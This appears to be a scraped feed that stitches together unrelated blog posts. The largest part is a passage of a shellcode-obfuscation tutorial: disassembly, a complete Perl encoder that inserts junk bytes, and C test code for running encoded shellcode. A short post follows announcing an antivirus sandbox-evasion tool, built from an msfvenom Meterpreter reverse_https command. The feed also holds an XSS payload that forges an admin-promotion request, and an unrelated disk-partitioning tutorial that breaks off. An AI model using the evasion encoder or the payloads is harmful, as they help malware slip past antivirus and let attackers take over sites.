 8048071:	47                   	inc    %edi
 8048072:	b1 c8                	mov    $0xc8,%cl

08048074 &lt;myloop&gt;:
 8048074:	31 c0                	xor    %eax,%eax
 8048076:	31 db                	xor    %ebx,%ebx
 8048078:	8a 07                	mov    (%edi),%al
 804807a:	01 f8                	add    %edi,%eax
 804807c:	8a 18                	mov    (%eax),%bl
 804807e:	88 1e                	mov    %bl,(%esi)
 8048080:	89 c7                	mov    %eax,%edi
 8048082:	47                   	inc    %edi
 8048083:	46                   	inc    %esi
 8048084:	e2 ee                	loop   8048074 &lt;myloop&gt;

08048086 &lt;done&gt;:
 8048086:	59                   	pop    %ecx
 8048087:	ff d1                	call   *%ecx
 8048089:	31 c0                	xor    %eax,%eax
 804808b:	b0 01                	mov    $0x1,%al
 804808d:	31 db                	xor    %ebx,%ebx
 804808f:	cd 80                	int    $0x80

08048091 &lt;ender&gt;:
 8048091:	e8 cc ff ff ff       	call   8048062 &lt;starter&gt;</pre>
<p>Since we&#8217;d like to avoid NULL byte into our stub, we can&#8217;t use instructions such as:</p>
<pre class="brush: asm; title: ; notranslate">mov ECX, 178</pre>
<p>since it will produce null bytes. ex:</p>
<pre class="brush: asm; title: ; notranslate"> 8048072:    b9 b2 00 00 00           mov    $0xb2,%ecx</pre>
<p>It makes sense that we need to use a 8 bits move like:</p>
<pre class="brush: asm; title: ; notranslate">mov CL, 178</pre>
<p>which is produce the opcodes <span style="color: #008000;">\xb1</span> and <span style="color: #008000;">\xb2</span> as seen below:</p>
<pre class="brush: asm; title: ; notranslate"> 8048072:    b1 b2                    mov    $0xb2,%cl</pre>
<p>However, if the shellcode length is greater than 255, we must move it into a 16 bits register like:</p>
<pre class="brush: asm; title: ; notranslate">mov CX, 278</pre>
<p>which produce the following opcodes:</p>
<pre class="brush: asm; title: ; notranslate"> 8048072:    66 b9 16 01              mov    $0x116,%cx</pre>
<p>As you see, we need <strong>four</strong> opcodes to update CX register, instead of <strong>two</strong> to update CL. Is it a problem ? Kind of. The length of the stub is therefore modified and the relative addresses used within JMP and CALL instructions have to be updated too.</p>
<h3>3.3.2. Updating JMP and CALL addresses</h3>
<p>As explained in the previous section, lines 4 and 40 contain relative addresses which will change based on the length of the stub.</p>
<pre class="brush: x86; gutter: true; first-line: 1; highlight: [4,40]">Disassembly of section .text:

08048060 &lt;_start&gt;:
 8048060:	eb 2f                	jmp    8048091 &lt;ender&gt;

08048062 &lt;starter&gt;:
 8048062:	31 c0                	xor    %eax,%eax
 8048064:	31 db                	xor    %ebx,%ebx
 8048066:	31 d2                	xor    %edx,%edx
 8048068:	31 c9                	xor    %ecx,%ecx
 804806a:	5a                   	pop    %edx
 804806b:	52                   	push   %edx
 804806c:	89 d6                	mov    %edx,%esi
 804806e:	89 d7                	mov    %edx,%edi
 8048070:	46                   	inc    %esi
 8048071:	47                   	inc    %edi
 8048072:	b1 c8                	mov    $0xc8,%cl

08048074 &lt;myloop&gt;:
 8048074:	31 c0                	xor    %eax,%eax
 8048076:	31 db                	xor    %ebx,%ebx
 8048078:	8a 07                	mov    (%edi),%al
 804807a:	01 f8                	add    %edi,%eax
 804807c:	8a 18                	mov    (%eax),%bl
 804807e:	88 1e                	mov    %bl,(%esi)
 8048080:	89 c7                	mov    %eax,%edi
 8048082:	47                   	inc    %edi
 8048083:	46                   	inc    %esi
 8048084:	e2 ee                	loop   8048074 &lt;myloop&gt;

08048086 &lt;done&gt;:
 8048086:	59                   	pop    %ecx
 8048087:	ff d1                	call   *%ecx
 8048089:	31 c0                	xor    %eax,%eax
 804808b:	b0 01                	mov    $0x1,%al
 804808d:	31 db                	xor    %ebx,%ebx
 804808f:	cd 80                	int    $0x80

08048091 &lt;ender&gt;:
 8048091:	e8 cc ff ff ff       	call   8048062 &lt;starter&gt;</pre>
<p>If you do the test at home, you will see that:</p>
<ul>
<li>if the loop counter need a <strong>8 bits</strong> register, then:</li>
<ul>
<li>line 4 = \xeb<span style="color: #008000;">\x2f</span></li>
<li>line 40 (two first opcodes) = \xe8<span style="color: #008000;">\xcc</span></li>
</ul>
<li>if the loop counter need a <strong>16 bits</strong> register, then:</li>
<ul>
<li>line 4 = \xeb<span style="color: #ff0000;">\x31</span></li>
<li>line 40 (two first opcodes) = \xe8<span style="color: #ff0000;">\xca</span></li>
</ul>
</ul>
<h3>3.3.3. My god, a NULL byte</h3>
<p>A last problem that we could have, is to obfuscate a shellcode where the length is a multiple of 256. Indeed, in order to store 256 (or 512, 768, 1024, &#8230;), we need a 16bits register.</p>
<p>See what happen:</p>
<pre class="brush: x86; gutter: true; first-line: 1">mov CX, 256</pre>
<pre class="brush: x86; gutter: true; first-line: 1">8048072:    66 b9 00 01              mov    $0x100,%cx</pre>
<p>=&gt; null byte.</p>
<p>To fix this issue, when the length of the initial shellcode is a multiple of 256, lets add a NOP instruction (\x90) to the end of the Shellcode, and that way, remove the null byte as seen in the following output:</p>
<pre class="brush: x86; gutter: true; first-line: 1">mov CX, 257</pre>
<pre class="brush: x86; gutter: true; first-line: 1">8048072:    66 b9 01 01              mov    $0x101,%cx</pre>
<h1>4. Putting everything together</h1>
<p>If you are still awake, here is the updated version of the Perl script, which is managing the loop, jmp and call updates.</p>
<p>Note that the dynamic values of the stub (MOV ECX, JMP and CALL) have been replaced by standards strings, and are updated at runtime by the Perl script.</p>
<p>The changes have been highlighted.</p>
<pre class="brush: perl; gutter: true; first-line: 1; highlight: [16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,91,92]">#!/usr/bin/perl -w
# ---------
# obf2.pl
# ---------

use strict;

# simple shellcode (print 'hello')
my $buf =
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01" .
"\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8" .
"\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";

#========================== CODE =============================

my $mydecoder =
"MY_JMP_ENDER" . "\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89\xd7\x46\x47" .
"MY_CNT" . "\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18\x88\x1e\x89\xc7\x47\x46\xe2\xee" .
"\x59\xff\xd1\x31\xc0\xb0\x01\x31\xdb\xcd\x80" . "MY_JMP_STARTER" . "\xff\xff\xff";

my $buf_length = do{length $buf};

print "// initial Shellcode length: " . $buf_length . "\n\n";

# IF buf_length is a multiple of 256, we will get NULL bytes whitin MY_CNT.
# so, just add a NOP instruction at the end
if($buf_length % 256 eq 0 ){
	print "// length is a multiple of '256'. Add a NOP.";
	$buf .= "\x90";
}

# Update decoder values
my $mov_cl		= "\xb1";	# loop counters &lt;= 8bits
my $mov_cx		= "\x66\xb9";	# loop counter   &gt; 8bits
my $jmp_ender_8bits	= "\xeb\x2f";	# jmp ender (&lt;= 8bits)
my $jmp_ender_16bits	= "\xeb\x31";	# jmp ender (&gt; 8bits)
my $jmp_starter_8bits	= "\xe8\xcc";	# jmp starter (&lt;= 8bits)
my $jmp_starter_16bits	= "\xe8\xca";	# jmp starter (&gt; 8bits)

if($buf_length &lt; 256 ){
	# set ECX counter
	$mov_cl .= pack('W', int($buf_length));
	$mydecoder =~ s/MY_CNT/$mov_cl/;

	# replace JMP
	$mydecoder =~ s/MY_JMP_ENDER/$jmp_ender_8bits/;
	$mydecoder =~ s/MY_JMP_STARTER/$jmp_starter_8bits/;
}else{

	# set ECX counter
	$mov_cx .= pack('S', int($buf_length));
	$mydecoder =~ s/MY_CNT/$mov_cx/;

	# replace JMP
	$mydecoder =~ s/MY_JMP_ENDER/$jmp_ender_16bits/;
	$mydecoder =~ s/MY_JMP_STARTER/$jmp_starter_16bits/;
}

# convert buf string into an array
my @buf_array = unpack 'a' x length $buf, $buf;

# random pool
my @rnd_steps=(1,2,3);
my @chars=('a'..'z','A'..'Z','0'..'9','_');

# final shellcode
my $final = "";

# init pseudo rnd generator
my $rnd=0;
srand(time);

# start obfuscation
for(my $i=0; $i&lt; $buf_length ; $i++){

	# copy good shellcode byte into final buffer
	$final	.= chr(ord($buf_array[$i]));

	# get random from @rnd_step
	$rnd	= $rnd_steps[rand @rnd_steps];

	# append random number after the SC byte
	$final	.= pack('c', $rnd);

	# add 'random - 1' junk bytes
	for(my $p=1; $p &lt; $rnd; $p++){
		$final .= $chars[rand @chars]; # RND
	}
}

# prefix shellcode with the decoder
$final = $mydecoder . $final ;

# print final shellcode in C language
print "// STUB + SHELLCODE\n";
print "unsigned char buf[] = ";
my $hex = unpack('H*', $final);
for (my $i = 0; $i &lt; length $hex; $i+=2) {
	if($i % 15 eq 0){
		if($i eq 0)	{print "\n\"";}
		else		{print "\"\n\"";}
	}
	print "\\x" . substr $hex, $i, 2;
}
print "\";\n\n";

# print shellcode length (optional)
print "unsigned int buf_len = ". do{length $final} . ";\n";</pre>
<p>The final shellcode is now:</p>
<pre class="brush: cpp; gutter: true; first-line: 1">// STUB + SHELLCODE
unsigned char buf[] =
"\xeb\x2f\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89"
"\xd7\x46\x47\xb1\x25\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18"
"\x88\x1e\x89\xc7\x47\x46\xe2\xee\x59\xff\xd1\x31\xc0\xb0\x01"
"\x31\xdb\xcd\x80\xe8\xcc\xff\xff\xff\xeb\x03\x36\x4d\x19\x03"
"\x48\x4b\x31\x03\x4d\x75\xc0\x02\x55\x31\x02\x48\xdb\x03\x72"
"\x66\x31\x03\x71\x68\xd2\x01\x31\x03\x76\x70\xc9\x03\x6f\x77"
"\xb0\x01\x04\x02\x58\xb3\x02\x54\x01\x02\x6d\x59\x03\x6e\x34"
"\xb2\x03\x37\x74\x05\x02\x33\xcd\x02\x72\x80\x03\x52\x52\x31"
"\x01\xc0\x03\x33\x31\xb0\x02\x6c\x01\x01\x31\x01\xdb\x02\x50"
"\xcd\x03\x5a\x6f\x80\x02\x6a\xe8\x01\xe2\x01\xff\x03\x38\x4c"
"\xff\x03\x65\x4f\xff\x01\x68\x02\x78\x65\x03\x75\x53\x6c\x02"
"\x31\x6c\x03\x4d\x44\x6f\x03\x73\x64";

unsigned int buf_len = 174;</pre>
<h1>5. Testing the new shellcode</h1>
<p>We&#8217;ve made some tests with various Metasploit payloads (Meterpreter, DialogBox, Cmd, ..) to ensure the reliability of the produced shellcode. But to preserve your bandwidth, we will limit the demonstration to this simple &#8220;Hello&#8221; shellcode, used throughout this article, and generated in the previous section.</p>
<pre class="brush: cpp; gutter: true; first-line: 1">/*************/
/* sc-test.c */
/*************/

// STUB+ SHELLCODE
unsigned char buf[] =
"\xeb\x2f\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x5a\x52\x89\xd6\x89"
"\xd7\x46\x47\xb1\x25\x31\xc0\x31\xdb\x8a\x07\x01\xf8\x8a\x18"
"\x88\x1e\x89\xc7\x47\x46\xe2\xee\x59\xff\xd1\x31\xc0\xb0\x01"
"\x31\xdb\xcd\x80\xe8\xcc\xff\xff\xff\xeb\x03\x36\x4d\x19\x03"
"\x48\x4b\x31\x03\x4d\x75\xc0\x02\x55\x31\x02\x48\xdb\x03\x72"
"\x66\x31\x03\x71\x68\xd2\x01\x31\x03\x76\x70\xc9\x03\x6f\x77"
"\xb0\x01\x04\x02\x58\xb3\x02\x54\x01\x02\x6d\x59\x03\x6e\x34"
"\xb2\x03\x37\x74\x05\x02\x33\xcd\x02\x72\x80\x03\x52\x52\x31"
"\x01\xc0\x03\x33\x31\xb0\x02\x6c\x01\x01\x31\x01\xdb\x02\x50"
"\xcd\x03\x5a\x6f\x80\x02\x6a\xe8\x01\xe2\x01\xff\x03\x38\x4c"
"\xff\x03\x65\x4f\xff\x01\x68\x02\x78\x65\x03\x75\x53\x6c\x02"
"\x31\x6c\x03\x4d\x44\x6f\x03\x73\x64";

int main(int argc, char **argv){
        int (*func)();
        func = (int (*)()) buf;
        (int)(*func)();
}</pre>
<p>Compile sc-test.c and run it:</p>
<pre class="brush: bash; gutter: true; first-line: 1">[user@linux]$ gcc -o sc-test sc-test.c
[user@linux]$ ./sc-test
hello
[user@linux]$</pre>
<p>Great! Let&#8217;s print Hello over the world ! <img src='http://funoverip.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Hope you enjoy.</p>
Note: There is a rating embedded within this post, please visit this post to rate it.
<p style='text-align:left'>&copy; 2011 &#8211; 2012, <a href='http://funoverip.net'>foip</a>. All rights reserved. </p>


title: Antivirus Sandbox Evasion (part1)
source: http://funoverip.net/2012/02/antivirus-sandbox-evasion-part1/
author: foip
description:
<p>Hmmm, it seems that I wrote something very nice ..</p>
<pre>$ <span style="color: #ff6600;">./msfvenom -p windows/meterpreter/reverse_https -f raw LHOST=172.16.1.1 LPORT=443</span> \
    | <span style="color: #339966;">./ultimate-payload.pl -t ultimate-payload-template1.exe -o /tmp/payload.exe</span>
<span style="color: #3366ff;">[*ultimate] Waiting for payload from STDIN</span>
<span style="color: #3366ff;">[*ultimate] Payload: read (size: 367) </span>
<span style="color: #3366ff;">[*ultimate] Payload: encode (new size: 1161) </span>
<span style="color: #3366ff;">[*ultimate] Template: read 94720 bytes from file </span>
<span style="color: #3366ff;">[*ultimate] Template: found pattern 'MY_PAYLOAD:' at position: 36928 </span>
<span style="color: #3366ff;">[*ultimate] Output: add the begin of the template (size: 36928) </span>
<span style="color: #3366ff;">[*ultimate] Output: add the encoded payload (size: 1161) </span>
<span style="color: #3366ff;">[*ultimate] Output: add the end of the template (size: 18502) </span>
<span style="color: #3366ff;">[*ultimate] <span style="color: #ff0000;">File '/tmp/payload.exe' generated</span> (size: 94720) </span></pre>
<p>WTF is that ? &#8220;That&#8221; is my new toy. An Antivirus evasion tool which bypass signature, heuristic and &#8230; <span style="text-decoration: underline;"><strong>sandbox</strong> </span> detections <img src='http://funoverip.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p><span id="more-1201"></span></p>
<p>Tested on VirtusTotal.com (zero detection over 44), then on Virtual machines against:</p>
<ul>
<li>Avast</li>
<li>AVG</li>
<li>BitDefender</li>
<li><strong>Kaspersky</strong></li>
<li>McAfee</li>
<li>MS Essential Security</li>
<li>ESET Nod32</li>
<li>GData</li>
<li>F-Secure</li>
<li>Panda</li>
<li>Sophos</li>
<li>Symantec (of course)</li>
</ul>
<p>So far so good. Let me play a bit with it. As soon as I find an other (private) method, I swear to release this one &#8230;</p>
<p>Stay tuned <img src='http://funoverip.net/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p style='text-align:left'>&copy; 2012, <a href='http://funoverip.net'>foip</a>. All rights reserved. </p>


source: http://www.networkpentest.net/2011/12/silinmisdondurulmus-veya-kullanmda-olan.html
author: Fırat Celal Erdik
title:
Silinmiş,dondurulmuş veya kullanımda olan facebook hesaplardaki resimlere kimlik doğrulamasız erişim.


source: http://www.networkpentest.net/2012/01/local-networklerde-ip-forwarding-enable.html
author: Fırat Celal Erdik
title:
Local networklerde Ip forwarding enable olan sistemlerin oluşturabileceği zararlar ve kapatma yolları


title: XSS to XSRF
source: http://feedproxy.google.com/~r/theprojectxblogz/~3/bJrZyG0N0ek/
author: RiptideTempora
description:
<p>Cross-Site Scripting is a hot topic (and rightly so; the majority of websites on the internet are vulnerable to it!), but its little brother Cross-Site Request Forgery doesn&#8217;t get nearly enough attention, for two reasons: traditional XSRF vulnerabilities (putting &lt;img src=&#8221;http://bank.com/transfer.php?amount=10000.00&amp;recip=MY_ACCOUNT&#8221; /&gt; in an email, for example) are obvious and harder to exploit, and many developers assume that making their important form processing scripts only listen to POST is sufficient to stop XSRF attacks. In reality, a successful XSS vector can be used for request forgery with little effort.</p>
<p>To help demonstrate my concept, let&#8217;s assume that you have this script which only an administrator can access:</p>
<p><code>&lt;?php<br />
session_start();<br />
// Some example access controls<br />
if(empty($_SESSION['userID'])) die("No");<br />
$sql = mysql_query("SELECT member_access FROM user_accounts WHERE id = '". intval($_SESSION['userID']) ."'");<br />
if(mysql_result($sql, 0, 0) != 'Admin') die("You are not an administrator.");<br />
// The actual process:<br />
if($_POST['id']) mysql_query("UPDATE user_accounts SET member_access = 'Admin' WHERE id = '". intval($_POST['id']) ."'");<br />
echo "Success!";<br />
?&gt;</code></p>
<p>You might think this is secure enough, since only an administrator can access the script to grant administrator privileges, but with a little XSS magic and an inattentive administrator, you can inject the following code onto a webpage; say, their search logs or a blog comment: (Note: I&#8217;m using jQuery for readability and simplicity, but you can get it to work without it)</p>
<p><code>$.post("/admin/promoteUserToAdmin.php", {id: '103'}, function(theResult) { /* Do other XSS stuff here */ });</code></p>
<p>When an administrator opens that page, a request will be made from their web browser to promote user with ID 103 to administrator status. If user 103 is moves faster than the admin who unwittingly promoted them to admin status, that website is 0wned.</p>
<p>So now that we&#8217;ve demonstrated a way to use XSS to execute a Cross-Site Request Forgery, how do we mitigate it? The short answer is to <em>never</em> allow a XSS vuln to fly under your radar, but for the purpose of promoting security-in-depth there are a few things you can do (depending on the amount of security desired) to slow or stop these attacks.</p>
<p><strong>Cryptographic Signatures</strong></p>
<p>One way to slow the attack down and make the XSS more complicated (which in turn makes it easier to detect) is to use a cryptographic signature. Consider the following:</p>
<p><code>&lt;?php<br />
session_start();<br />
<code>// Some example access controls<br />
if(empty($_SESSION['userID'])) die("No");<br />
$sql = mysql_query("SELECT member_access FROM user_accounts WHERE id = '". intval($_SESSION['userID']) ."'");<br />
if(mysql_result($sql, 0, 0) != 'Admin') die("You are not an administrator.");</code><br />
// Actual processing<br />
if($_POST['id']) { $id = intval($_POST['id']);<br />
if($_POST['hmac'] &amp;&amp; $_SESSION['myFormForID'.$id]) {<br />
if($_POST['hmac'] == hash_hmac('sha1', $_SERVER['REMOTE_ADDR'], $_SESSION['myFormForID'.$id])) {<br />
// Success!<br />
mysql_query("UPDATE user_accounts SET member_access = 'Admin' WHERE id = '{$id}'");<br />
unset($_SESSION['myFormForID'.$id]); // NECESSARY!<br />
echo "Success!";<br />
} else {<br />
die("Digital signature invalid!");<br />
}<br />
} else {<br />
die("Digital signature absent!");<br />
}<br />
} else {<br />
$id = intval($_GET['id']);<br />
if($id &lt; 1) die("No ID passed.");<br />
$_SESSION['myFormForID'.$id] = openssl_random_pseudo_bytes(20);<br />
echo "&lt;form method=\"post\"&gt;\n";<br />
echo "&lt;input type=\"hidden\" name=\"id\" value=\"{$id}\" /&gt;\n";<br />
echo "&lt;input type=\"hidden\" name=\"hmac\" value=\"". hash_hmac('sha1', $_SERVER['REMOTE_ADDR'], $_SESSION['myFormForID'.$id]). "\" /&gt;\n";<br />
echo "&lt;input type=\"submit\" /&gt;\n";<br />
echo "&lt;/form&gt;\n";<br />
}<br />
?&gt;</code></p>
<p>At the bottom, 160 bits (20 bytes) of random data are stored in a session variable which is used with HMAC and the user&#8217;s IP address to sign the form. Without the proper HMAC and a session variable being occupied, our XSS&#8217;s forgery attempt will not succeed.</p>
<p>Unfortunately, this is not a perfect solution. A well-formed Javascript code can make a time-delayed* cascade of requests, stripping out the HMACs with regular expressions, and generally make its behavior indistinguishable from a valid end-user. Which leaves us to the extremely inconvenient but safe solution&#8230;</p>
<p><strong>CAPTCHAS!</strong></p>
<p><strong></strong>Captchas are those image verification tools to stop spam bots from joining or posting links to animal porn on your grandma&#8217;s knitting blog. Captchas are annoying, but it turns out, they&#8217;re the only way to stop a cascading cross-site request forgery spawned from a cross-site scripting vulnerability. Javascript is powerful, but it cannot solve the Turing test; nor is wonderful at translating graphical images to text.</p>
<p><strong>In Summary:<br />
</strong></p>
<ul>
<li>A successful XSS exploit can be used for XSRF purposes with little effort</li>
<li>If someone manages to store a sophisticated XSS on your website, your only line of defense is to lock each and every form with a captcha</li>
<li>Simply using POST, or POST with HMAC validation, only slows attackers down once their XSS eagle has landed</li>
</ul>
<p>* An obvious idea for stopping a series of requests is to store microtime(1) in a session variable and compare to the previous request&#8217;s, and if it&#8217;s below a certain threshold block the request. Javascript can get around that with little additional effort.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/PgRiqSU_s8WQEieR8jTr2xqoikE/0/da"><img src="http://feedads.g.doubleclick.net/~a/PgRiqSU_s8WQEieR8jTr2xqoikE/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/PgRiqSU_s8WQEieR8jTr2xqoikE/1/da"><img src="http://feedads.g.doubleclick.net/~a/PgRiqSU_s8WQEieR8jTr2xqoikE/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/theprojectxblogz/~4/bJrZyG0N0ek" height="1" width="1"/>


title: Windows 7 vs. Ubuntu 12.04: How to Resize your Primary Local Disk
source: http://feedproxy.google.com/~r/LiberianGeek/~3/Dan-b4ohi28/
author: Richard
description:
<p>This brief tutorial is going to show you how to resize your primary local disk or partition in both Windows 7 and Ubuntu 12.04 (Precise Pangolin). Even though these methods are different, the goal is the same – resizing your primary partition in order to create new ones. Most computers today have only one hard drive and one primary partition that is being used by the operating systems – both Windows and Ubuntu.</p><p>So, in order to create additional partitions from the existing primary partition, you’ll need to shrink or resize the primary partition. This is true for both systems.</p><p>And although these systems are different (Windows 7 and Ubuntu 12.04), they’re almost similar in many functions. Almost everything you do in Windows 7 and be done in Ubuntu 12.04. Without wasting anymore of your time, let’s get going.</p><p><span
id="more-25806"></span><p><strong><font
size="4">Objectives:</font></strong></p><ul><li>Resize the primary partition on both Windows 7 and Ubuntu 12.04</li><li>Enjoy!</li></ul><p>&#160;</p><p><strong><u><font
size="3">How to Resize the Primary Partition (Drive C: ) in Windows 7</font></u></strong></p><p>To shrink or resize your primary partition in Windows 7, go to <strong><em>Start –&gt;</em></strong> right-click <strong><em>‘Computer’</em></strong> and select <strong><em>‘Manage’</em></strong>.</p><p>&#160;</p><p><a
href="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink.png"><img
style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="windows_ubuntu_shrink" border="0" alt="windows_ubuntu_shrink" src="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_thumb.png" width="590" height="389" /></a></p><p>&#160;</p><p>Next, select <strong><em>‘Disk Management’</em></strong> on the left menu, then right-click on the <strong><font
size="3">(C:)</font></strong> and select <strong><em>‘Shrink Volume’</em></strong></p><p>&#160;</p><p><a
href="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_1.png"><img
style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="windows_ubuntu_shrink_1" border="0" alt="windows_ubuntu_shrink_1" src="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_1_thumb.png" width="589" height="294" /></a></p><p>&#160;</p><p>Next, specify the amount of free space you wish to create and click <strong><em>‘Shrink’</em></strong></p><p>&#160;</p><p><a
href="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_2.png"><img
style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="windows_ubuntu_shrink_2" border="0" alt="windows_ubuntu_shrink_2" src="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_2_thumb.png" width="589" height="341" /></a></p><p>&#160;</p><p>Finally, right-click on the free space (unallocated) and create a new volume</p><p>&#160;</p><p><a
href="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_3.png"><img
style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="windows_ubuntu_shrink_3" border="0" alt="windows_ubuntu_shrink_3" src="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_3_thumb.png" width="590" height="357" /></a></p><p>&#160;</p><p>Follow the wizard until you’re done. That’s it!</p><p>&#160;</p><p><a
href="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_4.png"><img
style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="windows_ubuntu_shrink_4" border="0" alt="windows_ubuntu_shrink_4" src="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_4_thumb.png" width="590" height="293" /></a></p><p>&#160;</p><p>&#160;</p><p><strong><u><font
size="3">How to Resize / Shrink the Primary Partition in Ubuntu 12.04 (Precise Pangolin)</font></u></strong></p><p>Unlike Windows 7, you cannot be logged-in to your computer and resize the hard drive. For Ubuntu, you must boot from a live cd (Gparted) to shrink your partition.</p><p>To do that, download Gparted <a
href="http://sourceforge.net/projects/gparted/files/gparted-live-testing/" target="_blank">from here</a> .&#160; After downloading it, use Windows or Ubuntu to burn it to a blank CD / DVD and boot from it.</p><p>&#160;</p><p><a
href="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_5.png"><img
style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="windows_ubuntu_shrink_5" border="0" alt="windows_ubuntu_shrink_5" src="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_5_thumb.png" width="589" height="244" /></a></p><p>&#160;</p><p>Next, boot from it to continue.</p><p>&#160;</p><p><a
href="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_6.png"><img
style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="windows_ubuntu_shrink_6" border="0" alt="windows_ubuntu_shrink_6" src="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_6_thumb.png" width="583" height="269" /></a></p><p>&#160;</p><p>Then select<strong><em> ‘GParted Live’</em></strong> option and press Enter.</p><p>&#160;</p><p><a
href="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_7.png"><img
style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="windows_ubuntu_shrink_7" border="0" alt="windows_ubuntu_shrink_7" src="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_7_thumb.png" width="591" height="206" /></a></p><p>&#160;</p><p>When you login, select the partition and click <strong><em>‘Resize/Move’</em></strong> button.</p><p>&#160;</p><p><a
href="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_8.png"><img
style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="windows_ubuntu_shrink_8" border="0" alt="windows_ubuntu_shrink_8" src="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_8_thumb.png" width="591" height="206" /></a></p><p>&#160;</p><p>Then specify the free space you wish to create and click <strong><em>‘Resize/Move’</em></strong></p><p>&#160;</p><p><a
href="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_13.png"><img
style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="windows_ubuntu_shrink_13" border="0" alt="windows_ubuntu_shrink_13" src="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_13_thumb.png" width="592" height="386" /></a></p><p>&#160;</p><p>When the space is created, right-click it and select <strong><em>‘New’</em></strong>&#160; to create a new volume.</p><p>&#160;</p><p><a
href="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_10.png"><img
style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="windows_ubuntu_shrink_10" border="0" alt="windows_ubuntu_shrink_10" src="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_10_thumb.png" width="592" height="290" /></a></p><p>&#160;</p><p>Finally, click <strong><em>‘Apply’</em></strong> to complete the setup.</p><p>&#160;</p><p><a
href="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_11.png"><img
style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="windows_ubuntu_shrink_11" border="0" alt="windows_ubuntu_shrink_11" src="http://www.liberiangeek.net/wp-content/uploads/2012/06/windows_ubuntu_shrink_11_thumb.png" width="591" height="220" /></a></p><p>&#160;</p><p>Restart your computer and you’re done.</p><p>Enjoy!</p><div
class="crp_related"><h4>You may also like:</h4><ul><li><a
href="http://www.liberiangeek.net/2012/01/shrink-resize-ubuntu-hard-disk-with-gparted/" rel="bookmark" class="crp_title">Shrink / Resize Ubuntu Hard Disk with GParted</a></li><li><a
href="http://www.liberiangeek.net/2012/04/dual-boot-windows-7-and-ubuntu-12-04-precise-pangolin/" rel="bookmark" class="crp_title">Dual Boot Windows 7 and Ubuntu 12.04 (Precise Pangolin)</a></li><li><a
